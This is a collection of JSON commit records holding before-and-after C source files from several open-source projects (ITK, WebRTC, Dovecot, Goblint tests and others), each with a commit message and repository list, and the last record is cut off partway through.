{"commit":"ea2b85c388cb88e2d65a632f694bd76b285cb5ab","old_file":"Modules\/Core\/SpatialObjects\/include\/itkMetaEvent.h","new_file":"Modules\/Core\/SpatialObjects\/include\/itkMetaEvent.h","old_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkMetaEvent_h\n#define itkMetaEvent_h\n\n#include \"itkMacro.h\"\n#include \"metaEvent.h\"\n\nnamespace itk\n{\n\/** \\class MetaEvent\n * \\brief Event abstract class\n * \\ingroup ITKSpatialObjects\n *\/\nclass MetaEvent : public :: MetaEvent\n{\npublic:\n  MetaEvent();\n  virtual ~MetaEvent();\n};\n} \/\/ end namespace itk\n\n#endif\n","new_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkMetaEvent_h\n#define itkMetaEvent_h\n\n#include \"itkMacro.h\"\n#include \"metaEvent.h\"\n\nnamespace itk\n{\n\/** \\class MetaEvent\n * \\brief Event abstract class\n *\n * The itk::MetaEvent inherits from the\n * global namespace ::MetaEvent that is provided\n * by the MetaIO\/src\/metaEvent.h class.\n * \\ingroup ITKSpatialObjects\n *\/\nclass MetaEvent : public ::MetaEvent\n{\npublic:\n  MetaEvent();\n  virtual ~MetaEvent();\n};\n} \/\/ end namespace itk\n\n#endif\n","subject":"Clarify strange syntax for itk::MetaEvent","message":"DOC: Clarify strange syntax for itk::MetaEvent\n\nThe itk::MetaEvent inherits from the\nglobal namespace ::MetaEvent that is provided\nby the MetaIO\/src\/metaEvent.h class.\n\nChange-Id: I43aaeeee22298b69cfe4f1acb06186f9599586ac\n","lang":"C","license":"apache-2.0","repos":"ajjl\/ITK,biotrump\/ITK,jmerkow\/ITK,zachary-williamson\/ITK,fbudin69500\/ITK,msmolens\/ITK,Kitware\/ITK,Kitware\/ITK,malaterre\/ITK,richardbeare\/ITK,spinicist\/ITK,malaterre\/ITK,hjmjohnson\/ITK,msmolens\/ITK,InsightSoftwareConsortium\/ITK,LucasGandel\/ITK,jcfr\/ITK,fedral\/ITK,spinicist\/ITK,ajjl\/ITK,InsightSoftwareConsortium\/ITK,thewtex\/ITK,jmerkow\/ITK,LucasGandel\/ITK,fedral\/ITK,fbudin69500\/ITK,stnava\/ITK,stnava\/ITK,hjmjohnson\/ITK,blowekamp\/ITK,InsightSoftwareConsortium\/ITK,LucasGandel\/ITK,jmerkow\/ITK,thewtex\/ITK,vfonov\/ITK,thewtex\/ITK,BRAINSia\/ITK,Kitware\/ITK,PlutoniumHeart\/ITK,msmolens\/ITK,jcfr\/ITK,vfonov\/ITK,BRAINSia\/ITK,stnava\/ITK,blowekamp\/ITK,msmolens\/ITK,LucHermitte\/ITK,Kitware\/ITK,LucasGandel\/ITK,zachary-williamson\/ITK,blowekamp\/ITK,jcfr\/ITK,thewtex\/ITK,malaterre\/ITK,stnava\/ITK,LucasGandel\/ITK,blowekamp\/ITK,richardbeare\/ITK,zachary-williamson\/ITK,thewtex\/ITK,msmolens\/ITK,BRAINSia\/ITK,jmerkow\/ITK,blowekamp\/ITK,zachary-williamson\/ITK,zachary-williamson\/ITK,stnava\/ITK,jcfr\/ITK,fedral\/ITK,fbudin69500\/ITK,spinicist\/ITK,BlueBrain\/ITK,BlueBrain\/ITK,biotrump\/ITK,BRAINSia\/ITK,vfonov\/ITK,BlueBrain\/ITK,spinicist\/ITK,fedral\/ITK,zachary-williamson\/ITK,stnava\/ITK,PlutoniumHeart\/ITK,malaterre\/ITK,ajjl\/ITK,LucHermitte\/ITK,InsightSoftwareConsortium\/ITK,Kitware\/ITK,richardbeare\/ITK,spinicist\/ITK,fedral\/ITK,jcfr\/ITK,biotrump\/ITK,vfonov\/ITK,fedral\/ITK,zachary-williamson\/ITK,biotrump\/ITK,jcfr\/ITK,InsightSoftwareConsortium\/ITK,biotrump\/ITK,biotrump\/ITK,jcfr\/ITK,PlutoniumHeart\/ITK,ajjl\/ITK,BRAINSia\/ITK,fedral\/ITK,zachary-williamson\/ITK,fbudin69500\/ITK,jmerkow\/ITK,malaterre\/ITK,richardbeare\/ITK,blowekamp\/ITK,malaterre\/ITK,fbudin69500\/ITK,Kitware\/ITK,Kitware\/ITK,richardbeare\/ITK,malaterre\/ITK,richardbeare\/ITK,spinicist\/ITK,LucHermitte\/ITK,spinicist\/ITK,msmolens\/ITK,stnava\/ITK,jmerkow\/ITK,vfonov\/ITK,stnava\/ITK,BRAINSia\/ITK,msmolens\/ITK,LucHermitte\/ITK,biotrump\/ITK,ajjl\/ITK,hjmjohnson\/ITK,BRAINSia\/ITK,richardbeare\/ITK,blowekamp\/ITK,BlueBrain\/ITK,LucHermitte\/ITK,InsightSoftwareConsortium\/ITK,LucasGandel\/ITK,LucasGandel\/ITK,jcfr\/ITK,malaterre\/ITK,hjmjohnson\/ITK,biotrump\/ITK,hjmjohnson\/ITK,PlutoniumHeart\/ITK,blowekamp\/ITK,malaterre\/ITK,fbudin69500\/ITK,ajjl\/ITK,LucasGandel\/ITK,LucHermitte\/ITK,stnava\/ITK,hjmjohnson\/ITK,hjmjohnson\/ITK,PlutoniumHeart\/ITK,msmolens\/ITK,fedral\/ITK,fbudin69500\/ITK,vfonov\/ITK,BlueBrain\/ITK,PlutoniumHeart\/ITK,PlutoniumHeart\/ITK,thewtex\/ITK,BlueBrain\/ITK,ajjl\/ITK,ajjl\/ITK,LucHermitte\/ITK,thewtex\/ITK,fbudin69500\/ITK,spinicist\/ITK,BlueBrain\/ITK,InsightSoftwareConsortium\/ITK,LucHermitte\/ITK,PlutoniumHeart\/ITK,spinicist\/ITK,vfonov\/ITK,vfonov\/ITK,vfonov\/ITK,zachary-williamson\/ITK,jmerkow\/ITK,jmerkow\/ITK,BlueBrain\/ITK"}
{"commit":"a4d274a780125cab0aa21ffd2a4060a66e2512d4","old_file":"wms\/WMSQueryDataLayer.h","new_file":"wms\/WMSQueryDataLayer.h","old_contents":"\/\/ ======================================================================\n\/*!\n * \\brief A Meb Maps Service Layer data structure for query data layer\n *\n * Characteristics:\n *\n *  -\n *  -\n *\/\n\/\/ ======================================================================\n\n#pragma once\n\n#include \"WMSConfig.h\"\n\nnamespace SmartMet\n{\nnamespace Plugin\n{\nnamespace WMS\n{\nclass WMSQueryDataLayer : public WMSLayer\n{\n private:\n  const Engine::Querydata::Engine* itsQEngine;\n  const std::string itsProducer;\n  boost::posix_time::ptime itsModificationTime = boost::posix_time::from_time_t(0);\n\n protected:\n  virtual void updateLayerMetaData();\n\n public:\n  WMSQueryDataLayer(const WMSConfig& config, const std::string& producer)\n      : WMSLayer(config), itsQEngine(config.qEngine()), itsProducer(producer)\n  {\n  }\n\n  const boost::posix_time::ptime& modificationTime() const override;\n};\n\n}  \/\/ namespace WMS\n}  \/\/ namespace Plugin\n}  \/\/ namespace SmartMet\n","new_contents":"\/\/ ======================================================================\n\/*!\n * \\brief A Meb Maps Service Layer data structure for query data layer\n *\n * Characteristics:\n *\n *  -\n *  -\n *\/\n\/\/ ======================================================================\n\n#pragma once\n\n#include \"WMSConfig.h\"\n\nnamespace SmartMet\n{\nnamespace Plugin\n{\nnamespace WMS\n{\nclass WMSQueryDataLayer : public WMSLayer\n{\n private:\n  const Engine::Querydata::Engine* itsQEngine;\n  const std::string itsProducer;\n  boost::posix_time::ptime itsModificationTime = boost::posix_time::from_time_t(0);\n\n protected:\n  void updateLayerMetaData() override;\n\n public:\n  WMSQueryDataLayer(const WMSConfig& config, const std::string& producer)\n      : WMSLayer(config), itsQEngine(config.qEngine()), itsProducer(producer)\n  {\n  }\n\n  const boost::posix_time::ptime& modificationTime() const override;\n};\n\n}  \/\/ namespace WMS\n}  \/\/ namespace Plugin\n}  \/\/ namespace SmartMet\n","subject":"Use override (pacify clang++ warning)","message":"Use override (pacify clang++ warning)\n","lang":"C","license":"mit","repos":"fmidev\/smartmet-plugin-wms,fmidev\/smartmet-plugin-wms,fmidev\/smartmet-plugin-wms,fmidev\/smartmet-plugin-wms"}
{"commit":"93fefee3d2cd7f0bf773595d8e41f80fd9909897","old_file":"Settings\/Controls\/Spinner.h","new_file":"Settings\/Controls\/Spinner.h","old_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include <CommCtrl.h>\n\nclass Spinner : public Control {\npublic:\n    Spinner() {\n\n    }\n\n    Spinner(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual void Enable();\n    virtual void Disable();\n\n    void Buddy(int buddyId);\n\n    \/\/\/ <summary>Sets the range (min, max) for the spin control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the spinner.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the spinner.<\/param>\n    void Range(int lo, int hi);\n\n    std::wstring Text();\n    int TextAsInt();\n    bool Text(std::wstring text);\n    bool Text(int value);\n\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\npublic:\n    \/* Event Handlers *\/\n    std::function<bool(NMUPDOWN *)> OnSpin;\n\nprivate:\n    int _buddyId;\n    HWND _buddyWnd;\n\n};\n","new_contents":"#pragma once\n\n#include \"Control.h\"\n\n#include <CommCtrl.h>\n\n\/\/\/ <summary>\n\/\/\/ Manages a 'spin control': a numeric edit box with a up\/down 'buddy' to\n\/\/\/ increment or decrement the current value of the box.\n\/\/\/ <\/summary>\nclass Spinner : public Control {\npublic:\n    Spinner() {\n\n    }\n\n    Spinner(int id, HWND parent) :\n    Control(id, parent) {\n\n    }\n\n    virtual void Enable();\n    virtual void Disable();\n\n    void Buddy(int buddyId);\n\n    \/\/\/ <summary>Sets the range (min, max) for the spin control.<\/summary>\n    \/\/\/ <param name=\"lo\">Lower bound for the spinner.<\/param>\n    \/\/\/ <param name=\"hi\">Upper bound for the spinner.<\/param>\n    void Range(int lo, int hi);\n\n    std::wstring Text();\n    int TextAsInt();\n    bool Text(std::wstring text);\n    bool Text(int value);\n\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\npublic:\n    \/* Event Handlers *\/\n    std::function<bool(NMUPDOWN *)> OnSpin;\n\nprivate:\n    int _buddyId;\n    HWND _buddyWnd;\n\n};\n","subject":"Add summary for spin control class","message":"Add summary for spin control class\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,malensek\/3RVX"}
{"commit":"9e1ca6b5bc40d15f5c45189f6ca0220912dcfed5","old_file":"src\/qt\/clientmodel.h","new_file":"src\/qt\/clientmodel.h","old_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    \/\/ The only reason that this constructor takes a wallet is because\n    \/\/ the global client settings are stored in the main wallet.\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","new_contents":"#ifndef CLIENTMODEL_H\n#define CLIENTMODEL_H\n\n#include <QObject>\n\nclass OptionsModel;\nclass AddressTableModel;\nclass TransactionTableModel;\nclass CWallet;\n\nQT_BEGIN_NAMESPACE\nclass QDateTime;\nQT_END_NAMESPACE\n\n\/\/ Interface to Bitcoin network client\nclass ClientModel : public QObject\n{\n    Q_OBJECT\npublic:\n    explicit ClientModel(OptionsModel *optionsModel, QObject *parent = 0);\n\n    OptionsModel *getOptionsModel();\n\n    int getNumConnections() const;\n    int getNumBlocks() const;\n\n    QDateTime getLastBlockDate() const;\n\n    \/\/ Return true if client connected to testnet\n    bool isTestNet() const;\n    \/\/ Return true if core is doing initial block download\n    bool inInitialBlockDownload() const;\n    \/\/ Return conservative estimate of total number of blocks, or 0 if unknown\n    int getTotalBlocksEstimate() const;\n\n    QString formatFullVersion() const;\n\nprivate:\n    OptionsModel *optionsModel;\n\n    int cachedNumConnections;\n    int cachedNumBlocks;\n\nsignals:\n    void numConnectionsChanged(int count);\n    void numBlocksChanged(int count);\n\n    \/\/ Asynchronous error notification\n    void error(const QString &title, const QString &message);\n\npublic slots:\n\nprivate slots:\n    void update();\n};\n\n#endif \/\/ CLIENTMODEL_H\n","subject":"Remove no longer valid comment","message":"Remove no longer valid comment\n","lang":"C","license":"mit","repos":"reddink\/reddcoin,Cannacoin-Project\/Cannacoin,ahmedbodi\/poscoin,reddcoin-project\/reddcoin,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,ahmedbodi\/poscoin,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,bmp02050\/ReddcoinUpdates,reddcoin-project\/reddcoin,Cannacoin-Project\/Cannacoin,bmp02050\/ReddcoinUpdates,reddcoin-project\/reddcoin,joroob\/reddcoin,bmp02050\/ReddcoinUpdates,reddcoin-project\/reddcoin,ahmedbodi\/poscoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,Cannacoin-Project\/Cannacoin,bmp02050\/ReddcoinUpdates,joroob\/reddcoin,Cannacoin-Project\/Cannacoin,bmp02050\/ReddcoinUpdates,reddink\/reddcoin,Cannacoin-Project\/Cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,ahmedbodi\/poscoin,reddcoin-project\/reddcoin,reddink\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,ahmedbodi\/poscoin,reddink\/reddcoin,reddcoin-project\/reddcoin,reddink\/reddcoin,coinkeeper\/2015-06-22_18-46_reddcoin,coinkeeper\/2015-06-22_18-46_reddcoin"}
{"commit":"b07d89ca854f79eca700a95f5e1d23d5b5f6f1ba","old_file":"SFBluetoothLowEnergyDevice\/Classes\/SFBLELogging.h","new_file":"SFBluetoothLowEnergyDevice\/Classes\/SFBLELogging.h","old_contents":"\/\/\n\/\/  SFBLELogging.h\n\/\/  SFBluetoothLowEnergyDevice\n\/\/\n\/\/  Created by Thomas Billicsich on 2014-04-04.\n\/\/  Copyright (c) 2014 Thomas Billicsich. All rights reserved.\n\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\n\/\/ To define a different local (per file) log level\n\/\/ put the following line _before_ the import of SFBLELogging.h\n\/\/  #define LOCAL_LOG_LEVEL LOG_LEVEL_DEBUG\n#define GLOBAL_LOG_LEVEL DDLogLevelVerbose\n#ifndef LOCAL_LOG_LEVEL\n  #define LOCAL_LOG_LEVEL GLOBAL_LOG_LEVEL\n#endif\n\nstatic int ddLogLevel = LOCAL_LOG_LEVEL;\n","new_contents":"\/\/\n\/\/  SFBLELogging.h\n\/\/  SFBluetoothLowEnergyDevice\n\/\/\n\/\/  Created by Thomas Billicsich on 2014-04-04.\n\/\/  Copyright (c) 2014 Thomas Billicsich. All rights reserved.\n\n#import <CocoaLumberjack\/CocoaLumberjack.h>\n\n\n\/\/ To define a different local (per file) log level\n\/\/ put the following line _before_ the import of SFBLELogging.h\n\/\/  #define LOCAL_LOG_LEVEL LOG_LEVEL_DEBUG\n#define GLOBAL_LOG_LEVEL DDLogLevelInfo\n#ifndef LOCAL_LOG_LEVEL\n  #define LOCAL_LOG_LEVEL GLOBAL_LOG_LEVEL\n#endif\n\nstatic int ddLogLevel = LOCAL_LOG_LEVEL;\n","subject":"Set default log level to info","message":"Set default log level to info\n\n[Delivers #87082830]\n","lang":"C","license":"mit","repos":"martinjacala\/SFBluetoothLowEnergyDevice,simpliflow\/SFBluetoothLowEnergyDevice"}
{"commit":"6bfc82aaf18e42fcc7328b81ffb3ec3cf360d732","old_file":"webrtc\/common_audio\/signal_processing\/cross_correlation.c","new_file":"webrtc\/common_audio\/signal_processing\/cross_correlation.c","old_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++) {\n      \/\/ It's not clear why casting |right_shifts| here helps performance.\n      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;\n    }\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","subject":"Test whether removing a cast still hurts performance.","message":"Test whether removing a cast still hurts performance.\n\nBUG=499241\nTEST=none\nTBR=andrew\n\nReview URL: https:\/\/codereview.webrtc.org\/1206653002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9491}\n","lang":"C","license":"bsd-3-clause","repos":"ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"70a3bea036ff5c4ddfc3d80b955535a646d334ae","old_file":"src\/lib\/hex-dec.c","new_file":"src\/lib\/hex-dec.c","old_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","new_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse if (data[i] >= 'a' && data[i] <= 'f')\n\t\t\tvalue += data[i]-'a' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","subject":"Allow data to contain also lowercase hex characters.","message":"hex2dec(): Allow data to contain also lowercase hex characters.\n","lang":"C","license":"mit","repos":"damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot"}
{"commit":"adcb44aa1001abff7727db60cfda9c805b446582","old_file":"tests\/regression\/00-sanity\/22-cfg-connect.c","new_file":"tests\/regression\/00-sanity\/22-cfg-connect.c","old_contents":"","new_contents":"int main()\n{\n  \/\/ non-deterministically make all variants live\n  int r;\n  switch (r)\n  {\n    case 0:\n      single();\n      break;\n    case 1:\n      sequential_last();\n      break;\n    case 2:\n      sequential_both();\n      break;\n    case 3:\n      branch_one();\n      break;\n    case 4:\n      branch_both();\n      break;\n    case 5:\n      nested_outer();\n      break;\n    case 6:\n      nested_inner();\n      break;\n    case 7:\n      nested_both();\n      break;\n  }\n\n  return 0;\n}\n\nvoid single()\n{\n  while (1)\n    assert(1);\n}\n\nvoid sequential_last()\n{\n  int i = 0;\n  while (i < 0)\n    i++;\n\n  while (1)\n    assert(1);\n}\n\nvoid sequential_both()\n{\n  \/\/ TODO: fix crash\n  \/\/ while (1)\n  \/\/   assert(1);\n\n  \/\/ while (1)\n  \/\/   assert(1);\n}\n\nvoid branch_one()\n{\n  int r;\n  if (r)\n  {\n    int i = 0;\n    while (i < 0)\n      i++;\n  }\n  else\n  {\n    while (1)\n      assert(1);\n  }\n}\n\nvoid branch_both()\n{\n  int r;\n  if (r)\n  {\n    while (1)\n      assert(1);\n  }\n  else\n  {\n    while (1)\n      assert(1);\n  }\n}\n\nvoid nested_outer()\n{\n  while (1)\n  {\n    int i = 0;\n    while (i < 0)\n      i++;\n  }\n}\n\nvoid nested_inner()\n{\n  int i = 0;\n  while (i < 0)\n  {\n    while (1)\n      assert(1);\n    i++;\n  }\n}\n\nvoid nested_both()\n{\n  \/\/ TODO: fix crash\n  \/\/ while (1)\n  \/\/ {\n  \/\/   while (1)\n  \/\/     assert(1);\n  \/\/ }\n}\n","subject":"Add regression test for infinite loop combinations CFG connectedness","message":"Add regression test for infinite loop combinations CFG connectedness\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2c058b10c0dc3b2df2fb6d0a203c2abca300c794","old_file":"tests\/regression\/34-localwn_restart\/04-hh.c","new_file":"tests\/regression\/34-localwn_restart\/04-hh.c","old_contents":"\/\/ SKIP PARAM: --enable ana.int.interval --set solver td3 --enable ana.base.partition-arrays.enabled  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy --set sem.int.signed_overflow assume_none\n\/\/ This is part of 34-localization, but also symlinked to 36-apron.\n\n\/\/ ALSO:  --enable ana.int.interval --set solver slr3 --enable ana.base.partition-arrays.enabled  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy --set sem.int.signed_overflow assume_none\n\/\/ Example from Halbwachs-Henry, SAS 2012\n\/\/ Localized widening or restart policy should be able to prove that i <= j+3\n\/\/ if the abstract domain is powerful enough.\n\nvoid main()\n{\n   int i = 0;\n   while (i<4) {\n      int j=0;\n      while (j<4) {\n         i=i+1;\n         j=j+1;\n      }\n      i = i-j+1;\n      assert(i <= j+3);\n   }\n   return ;\n}\n","new_contents":"\/\/ SKIP PARAM: --enable ana.int.interval --set solver td3 --set ana.base.arrays.domain partitioned  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy --set sem.int.signed_overflow assume_none\n\/\/ This is part of 34-localization, but also symlinked to 36-apron.\n\n\/\/ ALSO:  --enable ana.int.interval --set solver slr3 --set ana.base.arrays.domain partitioned  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper','apron']\" --set ana.base.privatization none --set ana.apron.privatization dummy --set sem.int.signed_overflow assume_none\n\/\/ Example from Halbwachs-Henry, SAS 2012\n\/\/ Localized widening or restart policy should be able to prove that i <= j+3\n\/\/ if the abstract domain is powerful enough.\n\nvoid main()\n{\n   int i = 0;\n   while (i<4) {\n      int j=0;\n      while (j<4) {\n         i=i+1;\n         j=j+1;\n      }\n      i = i-j+1;\n      assert(i <= j+3);\n   }\n   return ;\n}\n","subject":"Fix partitioned array option in additional test","message":"Fix partitioned array option in additional test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"8b47bd6c54891baebf6a1083c7b1f6fa0402b8e4","old_file":"cc1\/tests\/test029.c","new_file":"cc1\/tests\/test029.c","old_contents":"","new_contents":"\n\/*\nname: TEST029\ndescription: Test of nested expansion and refusing macro without arguments\ncomments: f(2) will expand to 2*g, which will expand to 2*f, and in this\n          moment f will not be expanded because the macro definition is\n          a function alike macro, and in this case there is no arguments.\noutput:\ntest029.c:34: error: redefinition of 'f1'\nF2\nG3\tF2\tf1\n{\n\\\nA4\tI\tf\n\tA4\t#I2\t*I\n}\ntest029.c:35: error: 'f' undeclared\n*\/\n\n\n#define f(a) a*g\n#define g f\n\nint\nf1(void)\n{\n\tint f;\n\n\tf(2);\n}\n\nint\nf1(void)\n{\n\tf(2);\n}\n","subject":"Add test for nested macro expansion","message":"Add test for nested macro expansion\n\nThis test also check what happens when a macro with arguments  is\nfound without them.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/kcc,8l\/scc,8l\/scc"}
{"commit":"8b491b720bf845b0e5fa567609576e73fef1b7f6","old_file":"tests\/regression\/46-apron2\/07-escaping-recursion.c","new_file":"tests\/regression\/46-apron2\/07-escaping-recursion.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set solver td3 --set ana.activated \"['base','threadid','threadflag','mallocWrapper','apron','escape']\" --set ana.base.privatization none --set ana.apron.privatization dummy\nint rec(int i,int* ptr) {\n    int top;\n    int x = 17;\n\n    if(i == 0) {\n        rec(5,&x);\n        \/\/ Recursive call may have modified x\n        assert(x == 17); \/\/UNKNOWN!\n\n        \/\/ If we analyse this with int contexts, there is no other x that is reachable, so this\n        \/\/ update is strong\n        x = 17;\n        assert(x == 17);\n    } else {\n        x = 31;\n\n        \/\/ ptr points to the outer x, it is unaffected by this assignment\n        \/\/ and should be 17\n        assert(*ptr == 31); \/\/UNKNOWN!\n\n        if(top) {\n            ptr = &x;\n        }\n\n        \/\/ ptr may now point to both the inner and the outer x\n        *ptr = 12;\n        assert(*ptr == 12); \/\/UNKNOWN!\n        assert(x == 12); \/\/UNKNOWN!\n\n        if(*ptr == 12) {\n            assert(x == 12); \/\/UNKNOWN!\n        }\n\n        \/\/ ptr may still point to the outer instance\n        assert(ptr == &x); \/\/UNKNOWN!\n\n        \/\/ Another copy of x is reachable, so we are conservative and do 